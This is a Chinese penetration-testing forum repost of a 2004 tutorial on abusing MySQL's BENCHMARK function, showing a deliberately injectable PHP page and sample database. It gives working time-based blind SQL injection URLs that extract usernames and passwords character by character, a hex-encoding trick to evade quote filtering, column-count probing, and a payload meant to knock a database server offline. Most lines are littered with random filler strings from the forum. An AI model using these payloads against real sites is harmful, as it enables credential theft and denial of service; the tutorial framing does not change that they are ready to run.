中国网络渗透测试联盟

标题: MYSQL中BENCHMARK函数的利用 [打印本页]

作者: admin    时间: 2012-9-15 14:03
标题: MYSQL中BENCHMARK函数的利用
MYSQL中BENCHMARK函数的利用 8 h2 W- u5 e* P
本文作者:SuperHei
& U8 O) k  R3 S/ s4 |! k文章性质:原创# t6 l! n  Z  i  T/ a
发布日期:2005-01-02
2 m3 A* f0 b5 n: m8 n* d完成日期:2004-07-09
( {/ _* Z0 Z+ q; A+ R+ T第一部
3 S% {) @7 d6 `" g0 C' @: j! w7 {& B0 f/ B$ N8 u3 l  s
利用时间推延进行注射---BENCHMARK函数在注射中的利用 & ?, i0 ^3 ]9 x  [/ I
0 L) q; g* v8 a2 l$ |/ ]
一.前言/思路& x' K8 V, \5 t2 M' G% b& C

* \/ \1 F, ?9 ?( ?3 z8 ?+ x  如果你看了angel的《SQL Injection with MySQL》一文,你有会发现一般的mysql+php的注射都是通过返回错误信息,和union联合查询替换原来查询语句中的字段而直接输出敏感信息,但是有的时候,主机设置为不显示错误信息:display_errors = Off 而且有的代码中sql查询后只是简单的对查询结果进行判断,而不要求输出查询结果,我们用上面的办法注射将一无所获。我们可以采用时间推延来进行判断注射了。  ~" V$ \( c9 l; ?( v$ W

/ U1 ~( B, F8 Y% D. t' k  本技术的主要思路:通过在构造的语句用加入执行时间推延的函数,如果我们提交的判断是正确的,那么mysql查询时间就出现推延,如果提交的判断是正确,将不会执行时间推延的函数,查询语句将不会出现推延。这样我们就可以进行判断注射。+ {8 b  Q( F  j% F9 f

, j, l  ]  O7 ^' q( t% [4 m二.关于BENCHMARK函数! e+ Q2 M% ~9 @1 U0 k1 {& y9 |

# M/ t4 n4 l/ z: U8 B  在MySQL参考手册里可以看到如下描叙: + u% a: A/ e2 E2 e+ [4 L" b% L8 ~6 w% v
" C- n8 y% U/ P% J: t) h7 m
" N, P( m3 ?1 J: u1 D" `
--------------------------------------------------------------------------------
! ^& F9 |3 U7 f4 t# Z  \/ @$ z  r4 q/ M
/ Z: @3 `: i# M7 m0 r0 [BENCHMARK(count,expr)
7 P4 L: u: u0 P5 ?2 sBENCHMARK()函数重复countTimes次执行表达式expr,它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户,它报告查询的执行时间。 6 {( }+ M  g9 {) f9 n
mysql> select BENCHMARK(1000000,encode("hello","goodbye")); 3 o) D9 d( X' H% b  H3 j$ R; k
+----------------------------------------------+
" \$ E' `' M. o3 c# t| BENCHMARK(1000000,encode("hello","goodbye")) | / w0 c: F" O3 d1 B- c* Q
+----------------------------------------------+ 7 v* G5 O: Q( V/ y+ A+ V+ I7 G& W
| 0 | % g6 n; b8 g5 q) T5 D
+----------------------------------------------+
" |8 |4 R' ^" C: t) t1 row in set (4.74 sec) ( a; w" |9 e; ~7 J- i* }

: m# `0 b4 |- E6 l0 E报告的时间是客户端的经过时间,不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的,并且注意服务器机器的负载有多重来解释结果。
6 j1 _6 ~; r* t+ D8 Z. f8 a% B$ U% G3 Z2 }! z+ v, h; X
% _" ~- S; q# O. D. }+ I
--------------------------------------------------------------------------------
9 X) S7 a4 ]; b, K& p* [, I) I$ ?- q; W
  只要我们把参数count 设置大点,那么那执行的时间就会变长。下面我们看看在mysql里执行的效果: % ^( N- i1 d1 e6 Z7 @

7 x; `. |8 V0 ymysql> select md5( 'test' ); 9 S( d) L9 ^5 ?6 D
+----------------------------------+
, x* D& Z7 H. b0 R0 R$ N! m9 U| md5( 'test' ) | . P& D* s3 D' {7 o* ]; ~
+----------------------------------+
; [# s( J  J7 o9 g# F' ^| 098f6bcd4621d373cade4e832627b4f6 | ; N: X4 q2 c6 o& Q
+----------------------------------+ ( e5 r! U" X* ?/ u) r, Y, p
1 row in set (0.00 sec) 〈-----------执行时间为0.00 sec / C# A1 R0 b7 l0 O) _9 M5 I

  E$ j% p( e' j% J& @mysql> select benchmark( 500000, md5( 'test' ) ); 3 D3 c, R8 [5 [. {: @$ [
+------------------------------------+
" }" w6 w0 H% c7 G$ H; {% q7 X| benchmark( 500000, md5( 'test' ) ) |
, }# K/ q# h9 V2 j# P+------------------------------------+
2 j# Y, P0 S: j+ Y| 0 | $ x# }( v; b2 A, O& R# I( F
+------------------------------------+ ! Q* J. A' R  \: Y  C' k
1 row in set (6.55 sec) 〈------------执行时间为6.55 sec4 o0 q6 @$ J7 m( [
" v& z' U8 X3 ^" ~# I8 ~

' P& z9 x; i: {  由此可以看出使用benchmark执行500000次的时间明显比正常执行时间延长了。
: U0 a5 c5 H8 r) F6 N$ A1 m$ ?
1 C" r" o  t& e' w' R) Q+ T三.具体例子
& h7 ^" K; u* ^1 }8 m/ g; r. N3 ?( R1 B, o
  首先我们看个简单的php代码:* B/ D) t" X* |3 Q

3 |# b, q  ~1 h2 v! z< ?php 6 C: z; N* k5 \& s. w$ o( }
$servername = "localhost"; " y0 C- E7 [3 A, F5 Y* W
$dbusername = "root"; / ~8 B4 }) Q, m) e5 j. E- I  P3 R
$dbpassword = "";
  r+ I# J9 h/ o+ T+ X' F$dbname = "injection"; # x3 @! y7 _; O* g5 p
& ?/ e. _2 U3 e
mysql_connect($servername,$dbusername,$dbpassword) or die ("数据库连接失败"); . Y( n$ O8 n( e" g+ Q% s: Z! ]

2 S' @( T+ O% v- w2 b" M1 q2 e$sql = "SELECT * FROM article WHERE articleid=$id";
% N! g! R! h4 ^1 N$result = mysql_db_query($dbname,$sql); ( K' }. \: J5 d) B/ v7 }: ^
$row = mysql_fetch_array($result);
* K) y4 D" H2 p9 k8 i
& S3 X) b8 c2 |) v8 ^if (!$row)
9 L/ E7 i8 @( T& M+ U{
1 N% a% \4 w, b( c3 P5 M; Hexit; 7 r/ z6 ?& n+ A! n
} ' w# N2 V8 W& J
?>
8 A; i8 H& O; s8 [4 p
$ d1 ]& V' L+ [9 C+ x! _8 A9 _9 t- U9 {# D$ o8 H
  数据库injection结构和内容如下:/ p9 D5 |5 F6 n2 C7 O

3 g$ ?  x0 A8 F7 J" z# ]# 数据库 : `injection` , U& ~$ O0 ^7 F2 n/ b) i/ g" z4 G
#   |( Y5 s/ v& e! V

2 |4 F" X9 v. T: W# --------------------------------------------------------
& o- Z. D0 f9 N" O7 P
; v, U3 g# B* M& G# - L6 }* @, s/ z0 a
# 表的结构 `article` * ~, T7 ]5 }7 d5 q# [2 M( z! j
# 5 M+ \0 B! d. G# t, W: ?! Q& I' `
7 ]7 y1 B* [! X* w" J6 y
CREATE TABLE `article` (
! D8 _( s' c3 B+ ^& n$ w' m0 Y( A`articleid` int(11) NOT NULL auto_increment,
. a  g. e& y! A5 \+ p`title` varchar(100) NOT NULL default '',   Z8 k$ `6 g- Y0 N- Q4 R
`content` text NOT NULL,
/ T) W# L% f; p- |0 ~4 Q. a2 UPRIMARY KEY (`articleid`) 1 q; c5 M! ]) b* i, ]
) TYPE=MyISAM AUTO_INCREMENT=3 ; . E6 W" k/ h8 M1 x8 s

5 A2 u  k. J1 P#
' O0 A& E" I# L# Z# 导出表中的数据 `article` ; q* H( S7 p' O4 m( f  ]% q
# 6 ]9 p7 f! U# G0 @4 u& [( e

& J* A6 S9 e% \INSERT INTO `article` VALUES (1, '我是一个不爱读书的孩子', '中国的教育制度真是他妈的落后!如果我当教育部长。我要把所有老师都解雇!操~');
& _* U7 ~3 [: b& K/ D, eINSERT INTO `article` VALUES (2, '我恨死你', '我恨死你了,你是什么东西啊');
) p/ g: ~3 X7 T$ Y$ K: |; U: E; H3 }! a6 e( [5 @* g
# --------------------------------------------------------
7 s5 t4 C4 z9 g; f/ R3 v, S5 E1 P( r1 [! R2 [  w
#
' a4 I5 J, ~5 ]0 [- m" Z3 V( g# 表的结构 `user`
( w% J) C' |( F7 e( q4 O4 s! i#
& [% D; T, |" d9 m
" u5 K5 G: T: Y- t* H( ?CREATE TABLE `user` ( 4 h; D  @! D& W: B
`userid` int(11) NOT NULL auto_increment, 8 q! ?" ^! i) y. J
`username` varchar(20) NOT NULL default '',
5 ~6 b" i! E+ U& Q" X' m: y4 @. s`password` varchar(20) NOT NULL default '', ) d" }9 d+ V! V9 }+ i2 B/ @; m
PRIMARY KEY (`userid`)   X) _1 K$ l( d/ j9 U
) TYPE=MyISAM AUTO_INCREMENT=3 ;
5 c% T$ p; v6 W; }/ e/ y
( L$ V& w2 V& i' q1 q3 ~: I7 b#
3 D9 A  B5 f* v: D& ~# 导出表中的数据 `user` ; X& ?9 @  B2 C
# / ~3 j% m8 W& Z- l& E
( A, R* q, V4 n( q4 }- r! m
INSERT INTO `user` VALUES (1, 'angel', 'mypass');
0 U+ Y6 y5 I5 s/ d7 OINSERT INTO `user` VALUES (2, '4ngel', 'mypass2');6 [6 T0 V& n( h/ i

& {/ ]2 A7 C2 G' e; I3 p( M4 G1 }4 d0 a  ~* w+ d& t
  代码只是对查询结果进行简单的判断是否存在,假设我们已经设置display_errors=Off。我们这里就没办法利用union select的替换直接输出敏感信息(ps:这里不是说我们不利用union,因为在mysql中不支持子查询)或通过错误消息返回不同来判断注射了。我们利用union联合查询插入BENCHMARK函数语句来进行判断注射:" T. X% T. g0 \

! D8 x7 G2 _# m1 c0 y! f$ K1 ~id=1 union select 1,benchmark(500000,md5('test')),1 from user where userid=1 and ord(substring(username,1,1))=97 /*
' W  _6 S" p# y
3 p) b$ {1 q; `2 Z7 t; y
( x/ |* m' ?9 Q3 ~$ T  P$ x  上面语句可以猜userid为1的用户名的第一位字母的ascii码值是是否为97,如果是97,上面的查询将由于benchmark作用而延时。如果不为97,将不回出现延时,这样我们最终可以猜出管理员的用户名和密码了。 大家注意,这里有一个小技巧:在benchmark(500000,md5('test'))中我们使用了'号, 这样是很危险的,因为管理员随便设置下 就可以过滤使注射失败,我们这里test可以是用其他进制表示,如16进制。最终构造如下:
3 C1 r% t; F+ t# b: s- }& T, o% `! ^
http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,benchmark(500000,md5(0x41)),1%20from%20user%20where%20userid=1%20and%20ord(substring(username,1,1))=97%20/*; `4 {  _2 K& {; t

; k/ M& f, J" E0 u5 @4 G
+ a% B9 n- W' u- {% l1 G  执行速度很慢,得到userid为1的用户名的第一位字母的ascii码值是是为97。 6 V; T" k& \# T5 C( k2 M

* E8 Z, |8 @! P5 Q8 g6 D  注意:我们在使用union select事必须知道原来语句查询表里的字段数,以往我们是根据错误消息来判断,我们在union select 1,1,1我们不停的增加1 如果字段数正确将正常返回不会出现错误,而现在不可以使用这个方法了,那我们可以利用benchmark(),我们这样构造 union select benchmark(500000,md5(0x41)) 1,1 我们在增加1的,当字段数正确时就回执行benchmark()出现延时,这样我们就可以判断字段数了。
# ^/ C; k& p( e  J2 q  i, P. A3 ?6 L$ y! G% E6 Z- w8 c
第二部) z3 \  g. S& w4 [2 C

  b7 x9 J+ z; n1 |4 `利用BENCHMARK函数进行ddos攻击 6 Y7 o/ E& t. t! P) z" D

! a% L/ R2 b6 d- y9 @7 g  其实思路很简单:在BENCHMARK(count,expr) 中 我们只要设置count 就是执行次数足够大的话,就可以造成dos攻击了,如果我们用代理或其他同时提交,就是ddos攻击,估计数据库很快就会挂了。不过前提还是要求可以注射。语句:
2 G" s$ P, H. s* Q1 x  V
1 F, @. D% [  U) g# {http://127.0.0.1/test/test/show.php?id=1%20union%20select%201,1,benchmark(99999999,md5(0x41))
% A3 e& M- D) U( m# k
  T. z# }" [0 T4 j' B8 j2 [
* T  V' M9 h* C8 D+ [$ w* L小结3 Z3 X: a. G6 a- j

6 f; @. C/ p0 G2 r, g4 y5 _  本文主要思路来自http://www.ngssoftware.com/papers/HackproofingMySQL.pdf,其实关于利用时间差进行注射在mssql注射里早有应用,只是所利用的函数不同而已(见http://www.ngssoftware.com/papers/more_advanced_sql_injection.pdf)。关于mysql+php一般注射的可以参考angel的文章《SQL Injection with MySQL》。
4 K4 K" [& d3 a/ \ 1 ~1 M6 B$ `, G, {. z
  
# a; o, r7 b5 D* l( Y1 ?( l' E( A




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2